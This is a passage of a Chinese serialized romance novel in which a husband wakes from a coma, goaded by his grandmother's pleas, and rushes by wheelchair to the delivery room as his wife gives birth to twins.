护士语速很快,但还算清晰,“陆太太正在生第二个宝宝,第一个男宝宝已经平安出生,情况很好。请您再耐心等待一下,医生正在全力协助。” 门随即又关上了。 第一个……平安了? 男孩? 男孩女孩都没关系,只要平平安安的就好。 护士带来的消息像一粒定心丸,让陆老太太紧绷的神经稍稍松了一瞬。 她扶着墙壁,长长吐出一口浊气,眼角的皱纹里漫上湿意,嘴里反复念叨着,“平安就好,平安就好”。 可这股松快劲儿没持续多久,心又被揪得更紧。 还有一个宝宝没出来,衿衿还在里面熬着。 她重新攥紧佛珠,珠子在掌心滑过的速度更快了,咯噔咯噔的声响在寂静的走廊里格外清晰。 暮色彻底沉了下来,走廊的灯不知何时被调亮了些,惨白的光线晃得她眼睛发疼。 她的脚步越来越沉,双腿像灌了铅,可她不敢停,仿佛只要脚步不停,里面的衿衿就能多一分力气。 时间又在焦灼的等待中滑过了十几分钟。 产房的门这次是被猛地推开的,陈医生快步走出来,口罩摘到下巴上,额头覆着一层薄汗,神色凝重得让人心头一沉。 陆老太太的心脏骤然缩成一团,她几乎是踉跄着扑过去。 枯瘦的手紧紧抓住陈医生的白大褂,指节因为用力而泛出青白,“陈医生!是不是衿衿……是不是出事儿了?” 陈医生扶住她摇摇欲坠的身体,声音里带着压抑的急切,“老太太,您先冷静。陆太太生第一个宝宝时耗光了所有力气,现在生第二个,体力彻底透支,加上剧痛刺激,已经昏迷过去了!” “昏迷了?” 这三个字像一道惊雷,劈得陆老太太浑身一颤,手里的佛珠“哗啦”一声掉在地上,圆润的珠子滚了一地,发出细碎的声响。 她踉跄着后退两步,后背重重撞在冰冷的墙上,眼前阵阵发黑。 “怎……怎么会昏迷……”她的声音抖得不成样子,“陈医生,求求你,一定要救救她!救救我的衿衿,还有那个没出世的孩子……” “老太太您放心,我们正在采取急救措施,给陆太太注射了营养液和催产素,同时人工辅助分娩。 陈医生的声音沉稳,却难掩一丝紧绷,“只是陆太太现在无意识,配合度极低,风险比刚才高了很多。我们会尽全力,但……也需要您有个心理准备。” “心理准备”四个字,像一把钝刀,狠狠剜在陆老太太的心上。 这么好的孩子,怎么能遭这么多罪。 陆老太太慢慢放下手,布满泪痕的脸上,眼神渐渐变得坚定。 “菩萨保佑,佛祖保佑……”她的声音嘶哑,却带着不容置疑的执拗,“我愿意用十年阳寿,换我孙媳和小重孙平安。求你们,开开眼……” 陆老太太在走廊里站了许久,直到双腿的酸胀漫延到心口,才扶着墙壁,一步一步挪向陆京洲的病房。 他的病房里静得可怕,消毒水的味道被阳光晒得淡了些,却依旧透着一股冷清。 陆京洲躺在床上,脸色苍白得像一张纸,眼睫安静地垂着,连呼吸都轻得几乎听不见。 他身上还插着几根管子,仪器发出规律的“滴滴”声,像是在嘲讽着这场无能为力的等待。 陆老太太走到床边,看着孙子这副毫无生气的模样,积攒了一下午的焦灼和委屈,瞬间化作一股酸涩的怒火,直往上涌。 她伸出手,枯瘦的指尖轻轻落在陆京洲的手背上,那片皮肤冰凉,没有丝毫温度,也没有丝毫回应。 “你这个混小子……”她的声音发颤,带着浓重的鼻音,眼眶瞬间红了,“你睁开眼睛看看!你看看啊!” 她的声音越来越大,带着压抑不住的哽咽,字字句句都像是从牙缝里挤出来的。 “你老婆在产房里拼死拼活,生你的孩子,两个!双胞胎啊!她从鬼门关里走了一遭又一遭,宫口开得太快,剖腹产都来不及,只能硬生! 生第一个的时候就耗光了力气,生第二个直接疼得昏过去了!医生说情况很严重,很严重你懂吗?” 她的手微微用力,攥住陆京洲的手腕,那手腕纤细得硌手,是地震里护着岑予衿时落下的伤。 “你不是说要护着她一辈子吗?你不是说要给她一个安稳的家吗?现在呢?” 陆老太太的声音陡然拔高,又猛地顿住,怕引来护士。 只能咬着牙,眼底的泪却再也忍不住,顺着皱纹滚落,“她在里面疼得撕心裂肺,你倒好,躺在这里当你的活死人!植物人!你老婆孩子都快保不住了,你还睡得这么安稳!” “你知不知道衿衿多坚强?” 她哽咽着,想起岑予衿怀孕时的模样,想起她每次来看陆京洲时强颜欢笑的样子,心就像被针扎一样疼。 “她怀着孕,还要操心你的安危,可她也是个女人啊,她也是第一次生孩子啊!现在她昏迷在产房里,生死未卜,你呢?你连个回应都吝啬给她!” 陆老太太的力气渐渐耗尽,她松开手,后退一步,看着床上毫无反应的陆京洲,眼底的怒火慢慢被绝望取代。 她扶着床头,肩膀剧烈地颤抖着,声音低得像在自语,“京洲啊,你醒醒吧……求你醒醒吧……衿衿不能没有你,两个孩子也不能没有爸爸……” 她顿了顿,像是想起了什么,又抬起头,红着眼眶瞪着他,语气里带着无力的威胁,“你要是再不醒,要是衿衿和孩子有个三长两短……我……我就当没你这个孙子!你自己看着办!你自己担着!” 陆京洲自己是有意识的,想要冲破黑暗,可不论怎么挣扎都挣脱不开。 奶奶说的话,他一字不落的听了进去。 现在的他真的很慌很慌,很想醒过来,可是……他控制不了自己的身体。 更醒不过来…… 衿衿? 笙笙? 这两个名字在他脑子里轮回更迭。 第222章 奶奶,推我去产房! 陆京洲的脑子混乱的跟浆糊似的,什么也看不清。 他感觉自己漂浮在无边无际的虚空里,四周静得可怕。 只有奶奶嘶哑的哭喊和指责,穿透厚重的黑暗,狠狠扎进他的心窝。 “衿衿……笙笙……” 这两个名字在脑海里盘旋、碰撞,最后熔铸成同一个清晰的轮廓。 他老婆! 他最最最爱的笙笙。 他拼了命都想保护的人。 现在正在产房里生宝宝,他们的宝宝。 奶奶说,她宫口开得太快,剖腹产都来不及,只能硬生。 生第一个就耗光了力气,生第二个时疼得昏过去了。 疼得昏过去…… 陆京洲的意识猛地攥紧,像是被一只无形的手扼住了喉咙。 他见过她被针扎一下都要蹙眉的模样,见过她受了委屈只会红着眼眶强撑的模样。 可现在,她要独自在那扇紧闭的门后,承受撕心裂肺的剧痛,甚至要冒着生命危险,为他生下他们的孩子。 而他,躺在这里,连睁开眼睛看看她都做不到。 她很久很久以前就说过的。 生宝宝的时候要求他陪产,一定要陪着她一起进产房。 要不然她害怕她一个人不敢去。 还说要是实在不敢进产房,那一定得在门口守着,宝宝出来之后要让他第一个抱。 因为网上说刚出生的宝宝谁第一个抱,就像谁。 她说自家老公是她见过最帅的人,所以一定要他抱。 可是现在呢? 他连这点小小的要求都满足不了她! 她还配当她老公吗? 醒过来…… 我要醒过来…… 他在黑暗中嘶吼,意识拼命地冲撞着那层无形的屏障。 可身体像被灌了铅,又像是被钉在了原地,四肢百骸都沉得可怕,眼皮重得如同焊死的铁门。 无论他怎么挣扎,怎么用力,都只能徒劳地停留在这片死寂的黑暗里。 奶奶的哭声还在继续,带着绝望的哀求,字字句句都像鞭子抽在他的心上。 你这个没良心的东西!”她压低了声音,语气里的怨怼像淬了冰,“当初死缠烂打不要结婚,找她下落的是你,说要给她一世安稳的是你,结果呢?” “我怎么就养了你这么个不负责任的孙子!你醒醒啊!你看看你闯的祸!你要是真就这么睡死过去,让他们孤儿寡母的怎么活?” “陆家是有家底,可没了男人撑腰,一个年轻媳妇带着两个娃,往后少不了被人嚼舌根、受欺负!” 她的声音发颤,眼底满是绝望的狠厉,“你不是能睡吗?那就一辈子别醒了!就当我陆家没你这个孙子!让你老婆孩子被人欺负死,让你在地下也不得安宁!” 我真是瞎了眼,当初还以为你是个能托付的,结果关键时候掉链子!”她扶着床头,肩膀剧烈地颤抖。 “你要是还有点良心,就赶紧醒过来!要是衿衿和孩子有个三长两短,我就是拼了这条老命,也不会饶了你!你这辈子都别想安宁!” “她在里面疼得撕心裂肺……混球你老婆孩子都快保不住了……” “她不能没有你,两个孩子也不能没有爸爸……” 爸爸…… 那两个小小的生命,是他和她的宝宝。 是她怀着孕,克服了无数不适,小心翼翼呵护了几个月的宝贝。 现在,他们一个已经平安降生,另一个还在妈妈肚子里,和笙笙一起面临着未知的风险。 他怎么能缺席? 怎么能让她一个人面对这一切? 陆京洲的意识变得前所未有的清醒,也前所未有的焦灼。 他能清晰地感觉到自己的心脏在胸腔里疯狂地跳动,每一次搏动都带着撕裂般的痛感,仿佛要冲破胸膛,飞到那个灯火通明的产房去。 “算了,跟你这样的半死不活的,说这些干嘛?哎呦喂……我大不了我再给宝宝找个爸爸,把你老婆当成我亲孙女儿,再嫁出去一次。我们笙笙那么漂亮,想娶她的人排队都排不上号。” “到时候,招个赘婿也行……对……就这么办。” 不行! 他……他老婆怎么能嫁给别人呢? 他的宝宝怎么能叫别人爸爸? 不行……绝对不行。 “笙笙……别怕……” 他在心里一遍遍地喊,声音急切而沙哑,“我来了……我马上就来……” 他试着抬起手指,指尖却只有微弱的知觉,连轻微的颤动都做不到。 他试着转动眼球,眼皮却依旧纹丝不动。 那种无能为力的绝望,像潮水一样将他淹没,几乎要将他的意识吞噬。 他也很害怕,他怕自己真的变成植物人。 如果真的要在床上躺一辈子,那笙笙怎么办? 两个宝宝怎么办? 不就真的没有爸爸了吗? 要是有人欺负自己的老婆怎么办。 笙笙本来就是乖乖软软的,要是他不护着会被人欺负死的。 不行! 他躺着的时间已经够久了,该恢复的也恢复的差不多了,不能再这样躺下去了。 要不然一辈子都得这样了。 宝宝需要他。 笙笙也很需要他。 无尽的黑暗中有一道微弱的光在远处闪烁。 那光芒很淡,却带着一股温暖的力量,像是她的手,轻轻牵着他。 是笙笙吗? 是她在叫他吗? “阿洲……好疼!” “真的好不舒服!” 模糊的呼唤在意识深处响起,轻柔却坚定,带着一丝不易察觉的颤抖。 陆京洲猛地一震,那道光芒瞬间变得明亮了些。 他像是抓住了救命稻草,所有的意识都朝着那道光芒汇聚,拼尽全力地向前冲。 “我在……笙笙,我在……别害怕,我在你身边。” 他嘶吼着,挣扎着,每一次冲撞都让他的意识感到剧烈的疼痛,可他不敢停,也不能停。 他知道,那扇门后的女人和宝宝,正在等他。 病床边的仪器突然发出一阵急促的“滴滴”声,打破了病房的死寂。 原本平稳的心率曲线,骤然变得陡峭而紊乱。 陆老太太猛地抬起头,泪眼婆娑地看向床上的孙子。 他的眼睫,似乎轻轻颤动了一下。 虽然只是极其细微的动作,快得几乎让人以为是错觉,可陆老太太还是捕捉到了。 她踉跄着扑到床边,枯瘦的手紧紧握住他的手腕,声音因为激动而剧烈颤抖:“阿洲?阿洲!你听到了是不是?你要醒了是不是?” 陆京洲的意识还在和黑暗抗争,那层屏障已经出现了裂痕。 他能感觉到外界的声音越来越清晰,奶奶的呼喊,仪器的滴答声。 笙笙还在里面。 他的笙笙。 他咬紧牙关,意识里的力量越来越强,如同蓄势待发的火山,即将冲破桎梏。 “再用力一点……陆京洲,你能行……” 他在心里对自己说,“笙笙还在等你,宝宝还在等你……” 他的手指开始有了微弱的知觉,指尖微微抽搐着。 紧接着,手臂也传来一阵酸麻的感觉,像是有血液重新开始流动。 眼皮依旧沉重,可他能感觉到,那层焊死的“铁门”,正在一点点松动。 笙笙怎么样了? 第二个孩子怎么样了? “醒过来!必须醒过来!” 强烈的执念支撑着他,意识如同利刃,狠狠劈向那层最后的屏障。 “咔嚓——” 仿佛有什么东西碎裂的声音,在意识深处响起。 紧接着,黑暗如同潮水般退去,一道刺眼的光线猛地闯入他的视线。 陆京洲猛地吸了一口气,胸口剧烈地起伏着,眼皮在光线的刺激下,艰难地睁开了一条缝隙。 模糊的光影中,他看到了奶奶布满泪痕的脸,看到了她眼中狂喜而担忧的神色。 “阿洲!你醒了!你终于醒了!”陆老太太的声音哽咽着,泪水汹涌而出,“谢天谢地!谢天谢地啊!” 陆京洲的喉咙干涩得发疼,他张了张嘴,却发不出任何声音。 他转动着僵硬的脖颈,目光急切地在病房里搜寻,最后落在门口的方向,眼神里充满了焦灼和不安。 他想说话,想问衿衿怎么样了,想问孩子怎么样了。 可喉咙里只能发出微弱的气流声。 “我知道你想问什么。”陆老太太看懂了他的眼神,连忙说道,“笙笙还在产房里,医生还在抢救。京洲,你刚醒,身体还很虚弱,别激动,别乱动……” “笙笙……” 终于,他从喉咙里挤出了两个沙哑的字,声音微弱得几乎听不见,却带着极致的担忧和痛苦。 他挣扎着想要坐起来,身体却依旧虚弱无力,刚一动,就牵扯到了身上的伤口,疼得他眉头紧锁,冷汗瞬间浸湿了后背。 “别乱动!你刚醒!”陆老太太连忙按住他,“医生说你伤得很重,需要好好休养。笙笙那边,我已经让人去盯着了,一有消息就会来告诉你。你放心,吉人自有天相,笙笙和孩子都会没事的。” 陆京洲躺在那里,胸口剧烈地起伏着,眼底的红血丝越来越重。 他看着天花板,脑海里全是他老婆疼得昏迷过去的模样,心脏像是被一只无形的手紧紧攥住,疼得他几乎无法呼吸。 他怎么能放心? 那个在产房里独自承受一切的女人,是他的老婆啊。 他闭上眼,深吸一口气,再次睁开时,眼底的慌乱已经被一种坚定取代。 他用尽全身的力气,再次开口,声音依旧沙哑,却带着不容置疑的决心“奶奶……推我……去产房……” 他必须去看看她,必须守在她身边。 哪怕只是在门外,哪怕什么都做不了,他也要陪着她。 陆老太太看着他眼底的执拗,知道他现在根本劝不住。 她抹了抹眼泪,点了点头,声音哽咽着,“好,奶奶推你去。但你答应奶奶,不许激动,不许勉强自己,知道吗?” 陆京洲艰难地点了点头,视线紧紧锁在门口的方向,心里只有一个念头:笙笙,等我。 我来了。 第223章 阿洲我是在做梦吗? 陆老太太本来就是想刺激他一下,见她醒过来,激动的要命。 绝对不能让笙笙一个人面对。 按响了呼叫铃,护士和医生很快赶来。 得知陆京洲刚苏醒就要去产房,主治医生皱了皱眉,“陆先生,你刚恢复意识,身体各项机能还很虚弱,需要观察……” “推我去。”陆京洲打断他,声音嘶哑却异常坚定,“立刻。” 医生看着他那双布满红血丝却异常执拗的眼睛,最终叹了口气,转头对护士说,“准备轮椅,注意监护设备,动作轻一点。” 轮椅被推来时,陆京洲坚持要自己坐上去。 每一次挪动都牵扯到尚未愈合的伤口,额头上迅速渗出冷汗,但他咬紧牙关,一声不吭地完成了转移。 陆老太太在一旁看得心疼不已,却也知道此时说什么都无济于事。 从病房到产房的走廊似乎长得没有尽头。 陆京洲坐在轮椅上,眼睛死死盯着前方,耳边只有轮子滚动的声音和自己沉重的心跳。 每靠近产房一步,他的心跳就加快一分。 终于,产房门口的红色指示灯映入眼帘。 那里站着一个护士,正焦急地来回踱步。 看到他们过来,护士连忙迎了上来,“陆老太太,您来得正好,陆太太情况不太乐观,第二个胎位有些不正,她体力透支得太厉害,宫缩乏力……” 护士的话在看到坐在轮椅上的陆京洲时戛然而止,眼中闪过明显的惊讶,“陆先生?您醒了?” “笙笙她怎么样了?”陆京洲的声音干涩得像砂纸摩擦,“让我进去。” “产房现在……” “我是她丈夫。”陆京洲打断她,每个字都像是从牙缝里挤出来的,“我要进去陪她。” 护士犹豫地看向陆老太太和随行的医生。 主治医生检查了一下陆京洲的监护仪数据,虽然不理想,但还算稳定,最终点了点头,“让他进去吧,但时间不能太长,有任何不适要马上出来。” 产房的门被推开。 一股消毒水混合着血腥的气味扑面而来。 陆京洲听到了那个让他心脏骤停的声音。 “啊——疼……不要了……我真的不行了……” 那是岑予衿的声音,却完全不像他熟悉的那个温软甜糯的嗓音。 此刻她的声音嘶哑、破碎,每一个字都浸透了极致的痛苦,像是从灵魂深处撕扯出来的哀鸣。 “衿衿,再坚持一下,已经看到头了!” 助产士的声音焦急而鼓励,“吸气——呼气——用力!” “我不行了……真的不行了……阿洲……阿洲你在哪里……” 听到自己的名字下意识从她口中喊出,陆京洲感觉心脏像是被一只无形的手狠狠攥紧,疼得他几乎无法呼吸。 他挣扎着想从病床上起来,随行护士连忙按住他,“陆先生,别乱动!” “推我过去。”他的声音在颤抖。 轮椅被推到了产床旁边。 陆京洲终于看到了她。 岑予衿躺在产床上,头发被汗水完全浸湿,凌乱地贴在苍白如纸的脸上。 她的眼睛半闭着,睫毛上挂着不知是汗水还是泪珠,嘴唇被自己咬出了血印。 她的双手紧紧抓着产床两侧的扶手,指节因为过度用力而泛白。 身上盖着无菌布,但能看到她腹部不规律的起伏,每一次宫缩来临时,她的整个身体都会剧烈地颤抖。 “笙笙。”陆京洲喊了一声,声音哽咽。 岑予衿似乎听到了他的声音,艰难地睁开眼。 当她的目光聚焦在他脸上时,那双已经涣散的眼眸里瞬间涌上了泪水,“阿洲……真的是你吗?我不是……在做梦吧?是我太想让你醒过来产生幻觉了吗?” “是我。”陆京洲伸出手,紧紧握住她冰凉潮湿的手,“我来了,笙笙,我来了。” 他的手掌包裹住她的手,感觉到她手心里全是冷汗,还在不住地颤抖,“不是梦,真的不是梦。” 岑予衿反握住他的手,力道大得惊人,指甲几乎嵌进他的皮肉里,但陆京洲丝毫感觉不到疼,他只恨自己不能替她承受这一切。 “陆先生,您醒了?”主产医生惊讶地看着他,随即正色道,“您来得正好,陆太太现在需要鼓励。第二个宝宝胎位有些不正,我们需要她配合调整呼吸和用力。” “医生,她疼成这样,不能再打无痛吗?”陆京洲看着岑予衿痛苦扭曲的脸,心像是被凌迟,“给她加剂量,多少钱都行!” 医生摇摇头,语气充满歉意,“无痛分娩我们已经给她用上了,但陆太太对麻醉药物的代谢特别快,效果不大。而且现在宫口已经全开,不能再加剂量了。” “那就没有别的办法吗?”陆京洲的声音几乎是在低吼,“你们就让她这么硬扛着?” “陆先生,请您冷静。”医生耐心解释,“分娩疼痛是生理过程,我们已经尽力减轻陆太太的痛苦。现在最重要的是她和宝宝的安全,需要她配合我们把孩子生下来。” 又一波宫缩袭来,岑予衿的身体猛地弓起,发出一声凄厉的惨叫。 陆京洲感觉她的手几乎要把自己的骨头捏碎,他强忍着伤口的疼痛,倾身靠近她,用另一只手抚开她额前湿透的头发。 “笙笙,看着我,看着我。”他的声音低沉而坚定,“吸气——对,像我这样,深呼吸——” 他示范着深呼吸的动作,岑予衿努力跟随他的节奏,但疼痛很快又夺走了她的理智。 “不行……太疼了……阿洲,我好害怕……我会不会死……” “别说傻话!”陆京洲的声音陡然提高,带着不容置疑的力量,“你不会有事,宝宝也不会有事。我在这里,我陪着你,我们一起面对。” 他转向医生,眼神凌厉,“现在是什么情况?最坏的可能是什么?” 医生迟疑了一下,但在陆京洲逼视的目光下,还是如实说道,“第二个胎儿是臀位,且陆太太体力已经严重透支。如果下一轮宫缩还不能顺利分娩,我们可能需要考虑紧急剖腹产。但陆太太现在的身体状况,手术风险也会增加。” 陆京洲深吸一口气,强迫自己冷静下来。他重新看向岑予衿,声音放柔却无比坚定,“笙笙,你听我说。我们的第一个宝宝已经平安出生了,是个健康的男孩,现在护士正在给他做检查。” 岑予衿的泪水滚滚而下,“阿洲……我太累了?” “可是我……我真的没力气了……” “你有。”陆京洲握紧她的手,眼睛直视着她,“笙笙,你是我见过最坚强的人,再坚持一下下好不好?” 岑予衿望着他,眼神渐渐聚焦。 岑予衿看向陆京洲,看到他眼中的血丝,看到他苍白的脸色,看到他明明自己也刚苏醒却强撑着陪在她身边。 “你的伤……”她虚弱地问,“疼不疼?” 陆京洲一愣,随即摇头,“不疼,一点都不疼。看着你,我就什么都不疼了。” 又一波宫缩开始了。 岑予衿咬紧牙关,按照助产士的指导调整呼吸。 陆京洲在一旁不停鼓励,“对,就是这样,笙笙,你很棒……吸气……呼气……用力!” 陆京洲看着她拼命的模样,声音都哽咽了,泪水大滴大滴的滚落,砸在她的手上。 为什么要生两个! 生两个她受了多少委屈,吃了多少苦,数都数不清。 他真他妈不是人。 孕前期,他对她只有利用,没有陪在她身边。 孕后期,非要带她出去玩,没有好好照顾她就算了,还让他担惊受怕。 生产的时候是她最害怕的时候,可是呢他反而让她为自己担心。 这……真不是人! “我看到头了!继续,陆太太,继续用力!”助产士的声音充满惊喜。 岑予衿用尽全身力气,脖颈上青筋暴起,整张脸憋得通红。 陆京洲心疼得无以复加,却只能紧紧握住她的手,传递着自己所有的力量。 “加油,笙笙……” “啊——”岑予衿发出一声最后的嘶吼,然后整个人瘫软在产床上。 紧接着,一声嘹亮的婴儿啼哭响彻产房。 “出来了!是个漂亮的女孩!”助产士高兴地宣布,迅速处理新生儿,“体重6斤2两,评分很好!” 医生也松了一口气,“胎盘完整娩出,出血量正常。陆太太,您做得非常好。” 岑予衿虚弱地侧过头,看着护士手中那个小小的、正在啼哭的婴儿,眼泪再次涌出。 她转向陆京洲,嘴角努力扬起一个笑容,“阿洲……我们有女儿了……” 陆京洲已经听不清她在说什么了,眼泪不断的滑落,低头在她的额头上落下一吻,“老婆,辛苦了……让你受委屈,受苦了。” “我们有女儿了……”岑予衿的声音越来越微弱,脸上的笑容还未完全绽开,眼神就开始涣散。 她努力想抬起手去碰触陆京洲的脸,但手臂只抬起一半,就无力地垂落下去。 “笙笙?”陆京洲察觉到不对劲,声音陡然变调。 岑予衿的眼睛缓缓闭上,头歪向一侧,呼吸变得急促而浅薄。 “医生!医生!”陆京洲的声音里充满了恐慌,试图挣脱轮椅站起来,却被束缚带和检测仪紧紧勒住,“笙笙!笙笙你醒醒!” 第224章 只是体力透支了 医生闻言立刻上前,指尖迅速搭上岑予衿的颈动脉,另一只手翻看她的眼睑,眉头微蹙却并未显露出慌乱。 “脉搏平稳,瞳孔对光反射正常,是生产时过度消耗体力导致的暂时性晕厥,问题不大。” 医生的声音平稳而专业,像是一剂镇定剂,稍稍安抚了房间里紧绷的气氛。 话音刚落,护士已经端来葡萄糖水,用棉签蘸着轻轻擦拭她干裂的嘴唇。 那棉签上沾着的透明液体缓缓浸润着她苍白的唇瓣,仿佛在给一朵枯萎的花浇水。 陆京洲悬到嗓子眼的心稍稍回落,却依旧死死攥着她的手。 他的指腹一遍遍摩挲着她冰凉的手背,仿佛想用自己掌心的温度将她暖热。 声音里满是后怕的颤抖,“她什么时候能醒?真的没事吗?需不需要再仔细检查一下?” 他的目光紧盯着医生,不放过对方脸上任何一个细微的表情变化。 “不行……我还是不放心。”不等医生回答,他又自言自语般摇头,“还是检查仔细一点吧,要是出事儿了可怎么办?” 说着,他边让人给他拿电话,“我要去联系一下这方面的专家……” “笙笙……”他低声唤着她的名字,那两个字从他口中吐出,带着无限的疼惜与惶恐。 病房里的医生都被他弄蒙了,几位专家面面相觑。 所有权威的主治医生不都在这儿了吗? 他还上哪找啊? 一位年长的麻醉医生温和地开口,“陆先生,我们已经做了全面评估,陆太太的情况确实只是体力透支……您不用担心。” 陆京洲却像没听见似的,已经拨通了电话,“李院长吗?是我,陆京洲。我需要国内最好的妇产专家立刻到市妇幼来,对,现在——” “陆京洲!”陆老太太没好气地拍了拍他的脑袋,一把夺过手机,“最权威的医生全在这儿了,你就别自己吓自己了!听医生的话,笙笙绝对不可能有事儿的!” 老太太转向医生们,脸上带着歉意,“对不起各位,他这是关心则乱。” 主产医生一边记录着数据,一边安抚道,“陆先生,请您放心。陆太太的生命体征非常稳定,补充点能量后很快就能苏醒。只是她这一路太不容易,双胎妊娠本就辛苦,生产时间又长达几个小时,体力消耗太大了,得好好静养。” 陆京洲的眼神在医生和岑予衿苍白的脸之间来回移动,声音里透着孩子般的不确定,“没骗我吧?你们确定?” “绝对没有,”医生郑重地保证,目光诚恳,“我们可以跟您保证,陆太太绝对没有问题。如果真有什么风险,我们比您还紧张。” 医生转头吩咐护士,“准备转移到观察室,持续监测生命体征,注意保暖。产后体温调节能力会下降,别让她着凉了。” 护士们迅速行动起来,小心翼翼地将岑予衿转移到移动病床上。 陆京洲被护士轻轻推开一些距离,却立刻又凑上前,目光一刻也没离开过岑予衿苍白的脸。 她躺在移动病床上,眉头微蹙,即使在晕厥中也透着一丝疲惫。 那疲惫深深烙印在她脸上,像是经历了一场漫长战役后的士兵,终于可以暂时卸下盔甲。 陆京洲伸出手,小心翼翼地为她抚平眉间的褶皱。 当指尖传来她皮肤温热的触感时,他才稍稍安心。 还好,她还在。 只要她还在,这世界就还是完整的。 就在移动病床即将被推出产房时,小护士在旁边捧着其中一个襁褓。 看着陆京洲紧握岑予衿的手,目光须臾不离的模样,犹豫了一下,还是轻声开口,“陆先生,宝宝们都很健康,很可爱,一男一女是龙凤胎呢……您要不要抱一下?” 另外一个资深的助产士也立马附和,声音里透着真诚的赞叹,“我从业二十多年来,还没看过刚出生就长得这么漂亮的宝宝!两个宝宝都特别特别可爱,皮肤红润,哭声响亮,一看就是健康的好宝宝。” 陆京洲的思绪被打断,愣了一下,才缓缓转过头。 他的目光落在护士怀里那个小小的、裹在淡蓝色包被里的身影上,眼神有些空茫,仿佛在看一件与自己无关的事物。 几秒钟后,记忆猛地苏醒。 是了,孩子。 他们的孩子。 这念头刚闪过,更多回忆如潮水般涌来。 笙笙怀孕四个月的时候,孕吐刚刚好转,就拉着他坐在阳光房的摇椅上,握着他的手,一脸认真地说起这件事。 那时她的脸颊因为孕吐消瘦了些,眼底却有光,“阿洲,记住啊,第一个抱宝宝的一定要是你!我查了好多资料,都说第一个抱的人影响可大了……性格啊,长相啊,都会有影响呢!” 他当时笑着捏捏她的鼻子:“小迷信。” “这不是迷信!”她皱起鼻子,不服气地反驳,“这是有科学依据的!新生儿的第一次亲密接触会影响他的安全感建立……反正,我不管,第一个抱宝宝的必须是你!” 她顿了顿,眼神变得柔软:“我希望我们的孩子像你,像你一样帅气,像你一样可靠。” 怀孕七个月时,她的肚子已经很大了,翻身都困难。 某个深夜,她突然醒来,摇醒他,在黑暗中睁着明亮的眼睛,又一次叮嘱,“阿洲,你答应我的,一定要第一个抱宝宝哦。我听说医院的护士们都会轮流抱新生儿,你可要抢在她们前面……” 他把她搂进怀里,轻轻拍着她的背,“记住了,睡吧。” “我是认真的,”她在黑暗中小声说,“这是我们共同的孩子,我希望他们人生的第一个拥抱来自爸爸。” 想到这里,陆京洲的心像是被什么东西狠狠撞了一下,钝痛之外,又添了一层愧疚。 他怎么能忘? 她拼尽力气为他们带来这两个小生命,在产房里疼了十几个小时。 她自己疼得意识模糊,却还惦记着他受的伤。 而他呢? 她刚生下孩子,他就把她的嘱托忘得一干二净。 可是……他看着岑予衿毫无血色的脸,感受着她手心的冰凉,那股灭顶的后怕依旧攫住他的心脏。 产房里她撕心裂肺的哭喊还在耳边回荡,她最后脱力时苍白的模样像一把刀插在他的心上。 他哪有心思想别的? 他只想她立刻睁开眼睛,对他笑一笑,或者哪怕瞪他一眼也好。 只要她能醒来,他愿意付出任何代价。 “陆先生?”护士又轻声唤了一句,将襁褓往前送了送。 陆京洲猛地回神。 不行,不能让她失望。 万一她醒来问起,发现他连这么简单的事都没做到,该有多难过? 他像是骤然下了某种决心,僵硬地、几乎是一根手指一根手指地松开了紧握岑予衿的手。 那只手在空中停留了一瞬,才缓缓转向护士,伸出双臂。 他的喉结滚动了一下,声音干涩得像是砂纸摩擦,“好……抱给我吧。” 护士小心地将那个蓝色襁褓放入他怀中,细心地调整着他的手臂姿势,“托住这里,对,轻轻抱住就好,不用太用力。” 陆京洲的姿势无比笨拙,手臂紧绷着,肌肉僵硬。 他仿佛捧着的不是婴儿,而是一件易碎的稀世珍宝,稍有不慎就会损毁。 他的整个身体都显得很别扭,连呼吸都不自觉地放轻了。 他低下头,第一次真正看清了这个孩子。 小家伙确实如护士所说,长得格外漂亮,虽然新生儿特有的红润还未褪去,但五官已经能看出清晰的轮廓,鼻梁挺翘,嘴唇红润。 此刻他眼睛紧闭着,长长的睫毛在眼睑下投出一小片阴影,只有微弱的呼吸和偶尔动动的小嘴证明着生命的存在。 这是他的儿子。他和笙笙的孩子。 这个认知应该带来澎湃的喜悦和激动,但陆京洲心里却空落落的,像是一片荒原。 没有预想中的激动或喜悦,只有一种完成任务般的紧迫感,和一丝难以言说的愧疚。 他此刻竟然无法全心全意地为这个新生命感到高兴,因为他的整颗心都系在另一个生命身上。 他甚至没来得及仔细端详怀里的孩子,就立刻抬头看向旁边另一位抱着粉色襁褓的护士,语气急促,带着一种想要尽快结束这一切的仓皇,“还……还有一个,赶紧拿来。” 那护士愣了一下,连忙上前,将粉色襁褓小心地放入他另一只臂弯中。 此刻,他左右手各抱着一个婴儿,姿势别扭又小心翼翼,身体僵硬得如同雕塑。 两个小家伙似乎感受到了父亲的不安,几乎同时动了动,发出小猫般的呜咽声。 陆京洲的眉头却依旧紧锁,目光不断地、焦急地瞟向岑予衿的方向,仿佛多抱一秒都是煎熬。 他的额头上甚至渗出了细密的汗珠,不知道是因为紧张,还是因为维持这个姿势太费力。 短短十几秒,于他却像过了半个世纪。 他能感觉到两个小生命温热的体温透过包被传到他的手臂上,那温度陌生又奇妙,但他此刻却无法静心体会。 终于,他转向护士,几乎是立刻将两个孩子递还回去,动作快得让护士都险些没接住。 “我已经抱过了,”他语速极快,像是要急于证明什么,“照顾好他们。我老婆醒过来要是问起,你们可得帮我作证……我是第一个抱的。” 他特意强调了“第一个”三个字,仿佛这是某种重要的仪式。 扔下这句话,他便再也不想多看一眼似的,猛地转身,重新扑回移动病床边。 急切地再次握住岑予衿的手,仿佛只有那冰冷的触感能让他稍微安心一点。 他的动作太急,甚至不小心撞到了病床的护栏,发出“哐当”一声响,但他浑然不觉,只是专注地看着岑予衿的脸,用拇指轻轻摩挲她的手背。 陆老太太在一旁看着,又是好笑又是心疼,摇摇头。 第225章 阿洲你没失忆吧? 她走上前,从护士手中接过那个粉色襁褓,温柔地搂在怀里,轻轻摇晃,嘴里哼着不知名的摇篮曲。 “乖重孙女儿,咱们不怪爸爸啊,爸爸是太担心妈妈了。” 她低头亲了亲宝宝的小额头,眼中泛起泪光,“你妈妈为了你们,可吃了大苦头了。” 她又看向另一个被护士抱着的男孩,眼神慈爱,“俩小宝贝,平安就好,妈妈也平平安安的,祖母看着呢~” 两位护士相视一笑,一位轻声说,“陆先生真是爱妻如命,我接生这么多年,还没见过这么紧张太太的。” “是啊,”另一位点点头,“不过也能理解,陆太太这一胎确实不容易,双胎,胎位还不正,能顺产下来已经是万幸了。” 她们说话间,陆京洲早已亦步亦趋地跟着移动病床进入了观察室。 门在他身后轻轻关上,隔绝了外面的一切声响。 